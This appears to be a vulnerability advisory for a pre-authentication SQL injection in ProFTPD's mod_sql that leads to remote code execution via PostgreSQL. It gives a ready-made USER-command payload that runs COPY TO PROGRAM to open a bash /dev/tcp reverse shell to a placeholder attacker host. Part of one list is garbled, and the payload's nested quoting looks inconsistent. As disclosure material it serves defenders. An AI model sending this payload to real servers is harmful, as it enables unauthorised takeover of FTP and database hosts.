
Pre-Auth RCE in ProFTPD via mod_sql is_escaped_text() bypass (CVE-2026-42167)
mod_sql SQL InjectionAuthor: Van Glenndon Enad
Original Discovery: ZeroPath
Published: May 1, 2026
Severity: Critical
CVSS v3.1 Score: 8.1
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v2 Score: 7.6
CVSS v2 Vector: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQL Injection), CWE-78 (OS Command Injection)
CVE-2026-42167 is a critical pre-authentication SQL injection vulnerability in ProFTPD's mod_sql extension module. A logic flaw in the is_escaped_text() function allows an unauthenticated attacker to bypass SQL character escaping by crafting a USER command whose value satisfies a flawed "already-escaped" heuristic. The injected SQL is passed directly to the backend database via PQexec(), which supports stacked queries.
When the ProFTPD database role is a PostgreSQL superuser — a common misconfiguration in containerized deployments — the injection reaches PostgreSQL's COPY TO PROGRAM directive, resulting in unauthenticated OS-level Remote Code Execution as the postgres system user. No credentials, no prior access, and no user interaction are required.
| Component | Version |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Module | mod_sql + mod_sql_postgres |
| Fixed Version | 1.3.9a (released April 27, 2026) |
| Backend | PostgreSQL (RCE); MySQL / SQLite (auth bypass only) |
ProFTPD is a widely deployed open-source FTP server. According to Shodan, over 160,000 publicly accessible ProFTPD instances exist on the internet. The mod_sql module is commonly enabled in shared hosting control panels including cPanel, Plesk, DirectAdmin, Webmin, and ISPConfig.
ProFTPD's mod_sql module supports SQL-backed authentication and activity logging. Log format strings can include substitution variables such as %U (username), %r (remote host), and %m (FTP command). These variables are expanded at runtime and inserted into SQL queries executed against the configured backend.
A typical vulnerable configuration:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
In this configuration, the value supplied in the FTP USER command is substituted for %U and included directly in a SQL INSERT statement. Before insertion, the value is passed through is_escaped_text() to determine whether it needs escaping. This function contains a critical logical flaw.
is_escaped_text() FunctionLocated in contrib/mod_sql.c, the function applies the following heuristic to decide if a string is "already escaped":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume the string is escaped if:
* 1. It starts with a single quote
* 2. It ends with a single quote
* 3. It contains no internal single quotes
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* skip escaping */
}
return FALSE;
}
When this function returns TRUE, sql_resolved_append_text() (line 777) inserts the raw, unescaped value directly into the query string. The value is then executed by PQexec() in contrib/mod_sql_postgres.c (line 1146), which supports stacked (multi-statement) queries.
The heuristic was likely intended to detect strings that were already surrounded by SQL string delimiters. However, it makes no attempt to verify that the inner content is safe — only that no additional single quotes are present. This means any payload that:
''$$ dollar-quoting instead)...will pass the check and be injected verbatim into the SQL query.
FTP Client ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expand %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ skip escaping │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ execute stacked SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell command ──▶ OS
| Requirement | Notes |
|---|---|
mod_sql enabled with SQL logging | Must log a pre-auth variable such as %U |
| PostgreSQL backend | Required for COPY TO PROGRAM RCE; MySQL/SQLite still allow auth bypass |
| DB role is PostgreSQL superuser | COPY TO PROGRAM is restricted to superusers or members of pg_execute_server_program |
bash available on DB host | Required for /dev/tcp reverse shell delivery |
| Network reachability | PostgreSQL container must be able to reach attacker on the listener port |
The superuser condition is frequently met in containerized deployments where the ProFTPD DB user is created via POSTGRES_USER=... in the official PostgreSQL Docker image, or when an administrator grants the ProFTPD role ownership of the database.
Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
│
▼
Step 2: ProFTPD expands %U with attacker-controlled value
│
▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
│
▼
Step 4: PQexec() executes stacked query against PostgreSQL
│
▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
│
▼
Step 6: Reverse shell / file exfiltration delivered to attacker
The injection payload is delivered via the FTP USER command:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Condition | Satisfied? | Reason |
|---|---|---|
Starts with ' | ✅ | First character is ' |
Ends with ' | ✅ | Last character is ' |
| No inner single quotes | ✅ | Inner strings use $$ dollar-quoting |
| Segment | Purpose |
|---|---|
', null, null); | Closes the original INSERT statement cleanly |
COPY (SELECT $$x$$) TO PROGRAM | Stacked query using PostgreSQL's COPY TO PROGRAM |
$$bash -c ...$$ | Shell command using $$ dollar-quoting to avoid single quotes |
; --' | Terminates the stacked query; --' comments out remainder and provides the closing ' for the bypass |
Warning: This PoC is provided for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit written permission to test.
Sample Usage: